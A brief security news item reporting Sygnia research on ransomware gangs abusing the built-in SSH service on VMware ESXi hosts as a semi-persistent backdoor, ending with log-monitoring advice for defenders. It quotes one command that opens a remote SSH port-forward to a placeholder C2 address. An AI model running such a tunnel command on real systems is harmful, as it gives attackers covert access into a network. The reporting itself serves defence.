VMware ESXi hypervisors are being clandestinely subjected to ransomware intrusions involving the exploitation of SSH tunneling for persistence, reports BleepingComputer.
Sygnia reports that after infiltrating ESXi instances by leveraging known vulnerabilities or stolen admin credentials, ransomware gangs used the built-in SSH service to facilitate lateral movement and ransomware delivery without being detected.
The researchers said by using the SSH binary, a remote port-forwarding to the C2 server can be easily setup by using the following command: ssh –fN -R 127.0.0.1:<SOCKS port> <user>@<C2 IP address>.
"Since ESXi appliances are resilient and rarely shutdown unexpectedly, this tunneling serves as a semi-persistent backdoor within the network," said Sygnia.
This news prompted researchers to recommend monitoring of four log files for tracking ESXi Shell command execution, conducting admin and user authentication logs, obtaining attempted logins and authentication events, and keeping security event and system logs.
Admins have also been urged to view the hostd.log and vodb.log to identify possible SSH access persistence.
